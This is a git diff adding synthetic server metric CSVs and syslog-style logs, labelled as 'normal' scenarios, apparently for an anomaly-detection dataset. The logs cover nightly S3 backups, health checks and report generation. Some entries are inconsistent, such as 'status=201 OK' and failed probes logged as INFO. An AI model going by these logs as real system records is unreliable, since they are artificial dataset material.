100644 index 0000000000000000000000000000000000000000..8182552ef7c276a425e687b7fe0d656e85b1c078 --- /dev/null +++ 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daily clean up activities... +Aug 14 02:03:19 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:58 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:32 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:13 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:38 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:07 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:47 systemd[1]: Starting daily clean up activities... +Aug 14 02:07:19 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_1/norm_1_41.csv b/norm_dataset/scenario_1/norm_1_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..b9615d12583e1428f1e95104f112a839c5046e2d --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,14.49,38.99,30.59,1.25,0.9 +2025-08-14T02:00:05Z,17.71,38.74,39.04,1.2,0.65 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CRON[31415]: (root) CMD (run-parts /etc/cron.daily) +Aug 14 02:01:05 server backup-script[31416]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:15 server backup-script[31416]: INFO: Reading source directories... +Aug 14 02:02:30 server kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:03:45 server sshd[4501]: Accepted publickey for user from 192.168.1.10 port 2222 +Aug 14 02:05:05 server backup-script[31416]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:10 server backup-script[31416]: INFO: Starting upload to remote storage... +Aug 14 02:06:15 server systemd[1]: Starting session c2 of user root. +Aug 14 02:07:10 server backup-script[31416]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:15 server backup-script[31416]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:25 server web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_42.csv b/norm_dataset/scenario_1/norm_1_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac5ed60809fb21d97540338039b851a0dfc7d6f9 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_42.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.747296243116303,38.22878400982006,24.41506739127672,1.296191695960358,0.534486302759335 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+2025-08-14T02:07:25Z,12.18461298449343,40.4500527879938,29.870406723486,0.8718529405027264,0.5907986673471152 diff --git a/norm_dataset/scenario_1/norm_1_42.log b/norm_dataset/scenario_1/norm_1_42.log new file mode 100644 index 0000000000000000000000000000000000000000..37974145c6982d6b6f2d1dcf2f13373caa1b13fc --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_42.log @@ -0,0 +1,17 @@ +Aug 14 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:00:55 CRON[15234]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:00 systemd[1]: Starting 'nightly-backup-task'... +Aug 14 02:01:05 backup-script[15235]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:15 backup-script[15235]: INFO: Reading file list from /data/prod-db +Aug 14 02:01:40 backup-script[15235]: INFO: Starting database dump for 'production_db'. +Aug 14 02:02:55 backup-script[15235]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:00 backup-script[15235]: INFO: Compressing archive... +Aug 14 02:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:05:10 backup-script[15235]: INFO: Compression complete. Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:05:50 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 14 02:06:15 systemd[1]: Starting session c23 of user root. +Aug 14 02:06:45 backup-script[15235]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:50 backup-script[15235]: INFO: Backup job 'nightly-backup-task' completed successfully. +Aug 14 02:06:55 systemd[1]: 'nightly-backup-task' finished. +Aug 14 02:07:20 web-app[3456]: GET /api/v1/user/99 status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_1/norm_1_43.csv b/norm_dataset/scenario_1/norm_1_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..cb839fbc70eb20d32274a467ae669e36219abc29 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,14.35,37.23,16.29,1.1,0.56 +2025-08-14T02:00:05Z,5.25,40.82,27.47,0.99,1.36 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--report /etc/cron.daily) +Aug 14 02:01:05 systemd[1]: Starting Nightly Backup... +Aug 14 02:01:10 backup-script[5678]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:25 backup-script[5678]: INFO: Reading file list from /data/prod_db and /data/prod_files. +Aug 14 02:04:00 backup-script[5678]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:10 backup-script[5678]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz. +Aug 14 02:05:00 sshd[8765]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 14 02:05:50 kernel: [12345.678] TCP: new connection from 10.0.0.5:12345 to 10.0.0.1:80 +Aug 14 02:06:40 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:45 backup-script[5678]: INFO: Nightly backup task completed successfully. +Aug 14 02:06:50 systemd[1]: Finished Nightly Backup. +Aug 14 02:07:05 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_44.csv b/norm_dataset/scenario_1/norm_1_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..ea346b3a762b3ea5c1b847bb5344f21e3e622eff --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_44.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T02:00:00Z,10.14,38.73,17.48,0.8,0.91 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systemd[1]: Starting Nightly Backup Task... +Aug 15 02:01:00 backup-script[4815]: INFO: Starting job 'nightly-backup-task'. +Aug 15 02:01:10 backup-script[4815]: INFO: Starting database dump... +Aug 15 02:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 15 02:04:05 backup-script[4815]: INFO: Database dump complete. Archive size 50GB. +Aug 15 02:04:15 backup-script[4815]: INFO: Starting upload to s3://prod-backups/full-20250815.tar.gz. +Aug 15 02:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 15 02:06:45 backup-script[4815]: INFO: Upload to s3://prod-backups/full-20250815.tar.gz finished. +Aug 15 02:06:50 backup-script[4815]: INFO: Nightly backup task completed successfully. +Aug 15 02:06:50 systemd[1]: Finished Nightly Backup Task. +Aug 15 02:07:25 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_45.csv b/norm_dataset/scenario_1/norm_1_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..840770a1deadac07ef266f3809a0f97f2109cb7a --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,15.144561299727894,38.73028829424402,32.47786727464938,1.2013477340219063,1.6640985691675512 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+2025-08-14T02:07:25Z,15.34360784970621,36.18948398542828,35.04995776097789,1.603729997514718,1.0527551205251922 diff --git a/norm_dataset/scenario_1/norm_1_45.log b/norm_dataset/scenario_1/norm_1_45.log new file mode 100644 index 0000000000000000000000000000000000000000..03cf4a71ea226cb81434447e69d2329d1698864f --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_45.log @@ -0,0 +1,16 @@ +Aug 14 02:00:00 CRON[12345]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:00:01 run-parts[12347]: (/etc/cron.daily) starting nightly-backup-task +Aug 14 02:00:02 backup.sh[12349]: INFO: Starting nightly backup job. +Aug 14 02:00:05 backup.sh[12349]: INFO: Analyzing filesystems... +Aug 14 02:00:45 backup.sh[12349]: INFO: Starting database dump from primary DB. +Aug 14 02:02:30 backup.sh[12349]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:02:35 backup.sh[12349]: INFO: Backing up application files from /var/www/. +Aug 14 02:04:50 backup.sh[12349]: INFO: Filesystem backup complete. +Aug 14 02:05:00 backup.sh[12349]: INFO: Compressing database and file archives... +Aug 14 02:06:30 backup.sh[12349]: INFO: Compression complete. Final archive 'full-20250814.tar.gz' size: 15GB. +Aug 14 02:06:35 backup.sh[12349]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz started. +Aug 14 02:07:20 backup.sh[12349]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:21 backup.sh[12349]: INFO: Verifying remote backup integrity... +Aug 14 02:07:24 backup.sh[12349]: INFO: Verification successful. +Aug 14 02:07:25 backup.sh[12349]: INFO: Nightly backup finished successfully. +Aug 14 02:07:26 run-parts[12347]: (/etc/cron.daily) finished nightly-backup-task diff --git a/norm_dataset/scenario_1/norm_1_5.csv b/norm_dataset/scenario_1/norm_1_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..eb3eb5dca5795ceaa132c9fae8a2239f903052cb --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,19.35,42.78,37.56,1.03,1.38 +2025-08-14T02:00:05Z,18.1,44.18,38.91,1.01,1.0 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+2025-08-14T02:06:45Z,19.21,38.3,33.93,1.37,78.2 +2025-08-14T02:06:50Z,20.36,37.54,23.52,0.76,63.3 +2025-08-14T02:06:55Z,24.67,43.66,36.96,0.99,52.62 +2025-08-14T02:07:00Z,24.33,38.45,26.92,1.15,79.58 +2025-08-14T02:07:05Z,20.96,36.8,33.31,0.73,77.95 +2025-08-14T02:07:10Z,13.49,42.06,27.84,0.76,1.25 +2025-08-14T02:07:15Z,10.49,35.59,35.19,0.83,0.62 +2025-08-14T02:07:20Z,12.5,35.37,33.42,0.77,1.08 +2025-08-14T02:07:25Z,13.92,37.07,20.49,1.41,1.38 diff --git a/norm_dataset/scenario_1/norm_1_5.log b/norm_dataset/scenario_1/norm_1_5.log new file mode 100644 index 0000000000000000000000000000000000000000..fda607391aab7fb49a693cda7f3b2e8994e3a399 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_5.log @@ -0,0 +1,15 @@ +Aug 14 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 02:01:40 CRON[7112]: (root) CMD (/usr/local/bin/backup_script.sh) +Aug 14 02:01:40 backup-script[7113]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:50 backup-script[7113]: INFO: Dumping database 'production_db'... +Aug 14 02:02:30 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 14 02:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 14 02:04:10 backup-script[7113]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:15 backup-script[7113]: INFO: Compressing archive... +Aug 14 02:05:50 backup-script[7113]: INFO: Compression complete. Starting upload to S3. +Aug 14 02:07:10 backup-script[7113]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:15 backup-script[7113]: INFO: Nightly backup job finished successfully. +Aug 14 02:07:20 systemd[1]: Daily clean up activities finished. +Aug 14 02:07:25 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_6.csv b/norm_dataset/scenario_1/norm_1_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..e19a2d24d9560bb1a01df4f273aabde2688b5d18 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,20.473680800858272,51.05955924811916,26.29065406124543,0.9615316490459292,0.6409360563246135 +2025-08-14T02:00:05Z,14.8365324705551,47.01569482170462,32.98238468731786,0.6467630099937359,0.6482013736132517 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/dev/null +++ b/norm_dataset/scenario_1/norm_1_6.log @@ -0,0 +1,12 @@ +Aug 14 02:00:25 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 14 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 14 02:02:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:05 backup-script[6790]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:25 backup-script[6790]: INFO: Starting database dump... +Aug 14 02:04:00 backup-script[6790]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:05 backup-script[6790]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:06:00 backup-script[6790]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:05 backup-script[6790]: INFO: Nightly backup job finished successfully. +Aug 14 02:06:25 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 14 02:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7bdf diff --git a/norm_dataset/scenario_1/norm_1_7.csv b/norm_dataset/scenario_1/norm_1_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..a26a3330b549e0a16cb47d3fd3bde54bcce505d3 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,18.06118353061339,41.31358731069247,28.754487048959007,1.1457707376021906,1.482289309365337 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+2025-08-14T02:07:25Z,26.294009570633442,41.44664033379226,28.53400658642616,1.2449514826615156,86.2699367913681 diff --git a/norm_dataset/scenario_1/norm_1_7.log b/norm_dataset/scenario_1/norm_1_7.log new file mode 100644 index 0000000000000000000000000000000000000000..893fae53de409d13146c67ec4db625f96eea5507 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_7.log @@ -0,0 +1,20 @@ +Aug 14 02:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:10 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:35 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:01:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:01:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:01:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:02:15 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:35 systemd[1]: Starting Nightly Backup... +Aug 14 02:02:40 nightly-backup[7890]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:03:45 nightly-backup[7890]: INFO: Reading data from production database... +Aug 14 02:05:00 nightly-backup[7890]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:05 nightly-backup[7890]: INFO: Starting upload to s3://prod-backups/full-20250814.tar.gz +Aug 14 02:07:20 nightly-backup[7890]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:25 nightly-backup[7890]: INFO: Nightly backup task completed successfully. diff --git a/norm_dataset/scenario_1/norm_1_8.csv b/norm_dataset/scenario_1/norm_1_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..564fffd2b6fd646cd068f540475ca59ed7613bc7 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,7.372229797915942,37.75431293615094,4.52738750134773,0.4684117320884855,0.2462204264056549 +2025-08-14T02:00:05Z,10.699168426397717,39.608158047967834,6.256226648606568,0.4666189599967562,0.2799491638744163 +2025-08-14T02:00:10Z,9.143488501163517,46.587660419413645,4.057199123474058,0.31603061647550723,0.15438560762463355 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0000000000000000000000000000000000000000..ba3c2a0826dfab0a0f8395284785e7faaf4d5ee6 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_8.log @@ -0,0 +1,15 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:01:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:01:40 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:40 cron-backup[4813]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:40 cron-backup[4813]: INFO: Starting database dump... +Aug 14 02:03:45 cron-backup[4813]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:03:45 cron-backup[4813]: INFO: Starting upload to remote storage. +Aug 14 02:06:30 cron-backup[4813]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:30 cron-backup[4813]: INFO: Backup job 'nightly-backup-task' completed successfully. +Aug 14 02:07:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 14 02:07:05 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_9.csv b/norm_dataset/scenario_1/norm_1_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..b5eb5e3fdb0ad48ec8c2826aa590c9c81f0b51d2 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,11.872700594236813,36.47837698375321,6.705331755251293,1.3665528088349594,0.694084963103261 +2025-08-14T02:00:05Z,15.035024525127362,38.87288212786307,5.567367606202946,1.3670793762754265,0.8216441092211766 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/dev/null +++ b/norm_dataset/scenario_1/norm_1_9.log @@ -0,0 +1,15 @@ +Aug 14 02:00:05 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:45 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:01:40 CRON[12345]: (root) CMD (run-parts --report /etc/cron.daily/backup-script) +Aug 14 02:01:45 systemd[1]: Starting Nightly Backup Task 'nightly-backup-task'... +Aug 14 02:02:05 backup-script[12347]: INFO: Starting full backup of /var/www/html and database 'proddb'. +Aug 14 02:03:05 kernel: INFO: task backup-script:12347 blocked for more than 120 seconds. +Aug 14 02:03:50 backup-script[12347]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:15 backup-script[12347]: INFO: Compressing archive... +Aug 14 02:04:50 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:05:30 backup-script[12347]: INFO: Uploading backup to s3://prod-backups/full-20250814.tar.gz... +Aug 14 02:06:35 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:07:00 backup-script[12347]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:05 backup-script[12347]: INFO: Nightly backup task completed successfully. +Aug 14 02:07:10 systemd[1]: Finished Nightly Backup Task 'nightly-backup-task'. +Aug 14 02:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_10/norm_10_1.csv b/norm_dataset/scenario_10/norm_10_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..538d3cd3aa448d7c92fc1d4503f6bb767b1b9d9a --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-02T12:06:40Z,17.02,51.96,5.99,1.28,0.97 +2025-07-02T12:06:45Z,17.07,52.86,4.92,1.22,0.96 +2025-07-02T12:06:50Z,12.79,49.33,5.23,1.28,0.85 +2025-07-02T12:06:55Z,16.08,50.42,6.86,1.16,0.8 +2025-07-02T12:07:00Z,17.59,45.68,4.35,1.03,1.07 +2025-07-02T12:07:05Z,16.43,47.75,3.5,0.82,1.15 +2025-07-02T12:07:10Z,12.43,43.82,5.81,0.9,0.97 +2025-07-02T12:07:15Z,13.42,43.86,3.46,1.01,0.95 +2025-07-02T12:07:20Z,13.31,41.83,3.05,1.02,0.9 +2025-07-02T12:07:25Z,14.62,40.85,4.92,1.15,0.73 diff --git a/norm_dataset/scenario_10/norm_10_1.log b/norm_dataset/scenario_10/norm_10_1.log new file mode 100644 index 0000000000000000000000000000000000000000..2f53a0bfc5d396d1a1ae35692e5955486180527a --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_1.log @@ -0,0 +1,16 @@ +Jul 02 12:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:35 kubelet[2345]: INFO Readiness probe succeeded for pod nginx-deployment +Jul 02 12:01:03 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:22 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:52 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod database-proxy +Jul 02 12:02:37 web-app[1234]: GET /api/v1/user/18 status=201 OK +Jul 02 12:03:15 kubelet[2345]: INFO Liveness probe failed for pod nginx-deployment +Jul 02 12:03:58 web-app[1234]: GET /api/v1/user/45 status=201 OK +Jul 02 12:04:39 kubelet[2345]: INFO Liveness probe failed for pod database-proxy +Jul 02 12:05:00 kubelet[2345]: INFO Readiness probe succeeded for pod database-proxy +Jul 02 12:05:35 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:05:45 kubelet[2345]: INFO Readiness probe failed for pod database-proxy +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:39 kubelet[2345]: INFO Liveness probe failed for pod database-proxy +Jul 02 12:07:16 kubelet[2345]: INFO Readiness probe failed for pod auth-service diff --git a/norm_dataset/scenario_10/norm_10_10.csv b/norm_dataset/scenario_10/norm_10_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..9e625da9964b4a89d9aa60d0ccb5baf330de45b2 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.8,37.81,28.62,0.62,0.75 +2025-07-02T12:00:05Z,18.28,40.9,24.23,0.91,1.01 +2025-07-02T12:00:10Z,18.02,41.18,29.19,0.83,0.91 +2025-07-02T12:00:15Z,15.7,39.48,35.05,0.86,0.96 +2025-07-02T12:00:20Z,18.05,39.93,30.09,1.45,0.5 +2025-07-02T12:00:25Z,18.61,41.05,33.27,0.83,1.09 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+2025-07-02T12:07:10Z,12.52,31.92,29.89,1.17,0.88 +2025-07-02T12:07:15Z,12.61,34.26,29.87,0.88,0.73 +2025-07-02T12:07:20Z,15.19,35.47,32.39,1.0,0.59 +2025-07-02T12:07:25Z,14.54,35.41,31.08,0.96,0.82 diff --git a/norm_dataset/scenario_10/norm_10_10.log b/norm_dataset/scenario_10/norm_10_10.log new file mode 100644 index 0000000000000000000000000000000000000000..c4647e9aea048e78336f3ccb7abd01970a46b136 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_10.log @@ -0,0 +1,14 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:00 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 02 12:02:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:45 web-app[1234]: GET /api/v1/status status=200 OK +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 02 12:06:05 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:40 systemd[1]: Starting session-c2.scope. +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:20 web-app[1234]: GET /api/v1/health status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_10/norm_10_11.csv b/norm_dataset/scenario_10/norm_10_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..de20c3cd6ee7920991fb2119b195a9001e0a317f --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.713113626503166,42.17835726329797,11.056320199932605,0.9142202856184225,0.9696394074392892 +2025-07-02T12:00:05Z,15.227496973055363,40.053748949517846,5.9190176996917545,0.8895587727017255,1.2056741681297742 +2025-07-02T12:00:10Z,19.035068438249418,41.801079800360974,5.9309410216646725,0.8249744101367327,0.8718584445892527 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0000000000000000000000000000000000000000..3ab24e5b00c2832dacceb9b36a024413b9d5e15c --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_11.log @@ -0,0 +1,18 @@ +Jul 02 12:00:00 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:07 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:15 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:18 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:25 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:52 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:56 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:06 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:20 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:39 web-app[2534]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:40 web-app[2534]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:03:08 kubelet[3109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:30 kubelet[3109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:50 web-app[2534]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:08 web-app[2534]: GET /api/v1/dashboard status=200 OK +Jul 02 12:06:12 web-app[2534]: GET /api/v1/dashboard status=200 OK +Jul 02 12:06:38 web-app[2534]: GET /api/v1/dashboard status=200 OK +Jul 02 12:06:42 web-app[2534]: GET /api/v1/dashboard status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_12.csv b/norm_dataset/scenario_10/norm_10_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..bcf14483b3618b208fda19a90b4b50e98ab36298 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T10:00:00Z,17.46,42.27,10.32,1.32,0.84 +2025-08-21T10:00:05Z,19.66,43.03,10.08,0.84,0.67 +2025-08-21T10:00:10Z,17.73,38.21,4.36,0.78,0.77 +2025-08-21T10:00:15Z,22.93,38.43,10.35,1.06,0.77 +2025-08-21T10:00:20Z,25.22,36.47,6.9,1.11,0.83 +2025-08-21T10:00:25Z,14.32,34.96,8.48,0.61,0.7 +2025-08-21T10:00:30Z,16.74,40.08,9.84,1.21,0.39 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+2025-08-21T10:07:15Z,33.91,46.08,8.28,1.07,0.48 +2025-08-21T10:07:20Z,30.33,47.06,13.35,0.93,0.83 +2025-08-21T10:07:25Z,29.92,45.11,12.32,1.01,0.66 diff --git a/norm_dataset/scenario_10/norm_10_12.log b/norm_dataset/scenario_10/norm_10_12.log new file mode 100644 index 0000000000000000000000000000000000000000..e86e022ed8fa0df894c5656214bbddf6eadf4d7a --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_12.log @@ -0,0 +1,29 @@ +Aug 21 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:00:05 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:00:25 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:00:40 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 21 10:01:15 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:01:40 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 21 10:01:50 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:02:00 web-app[2531]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... 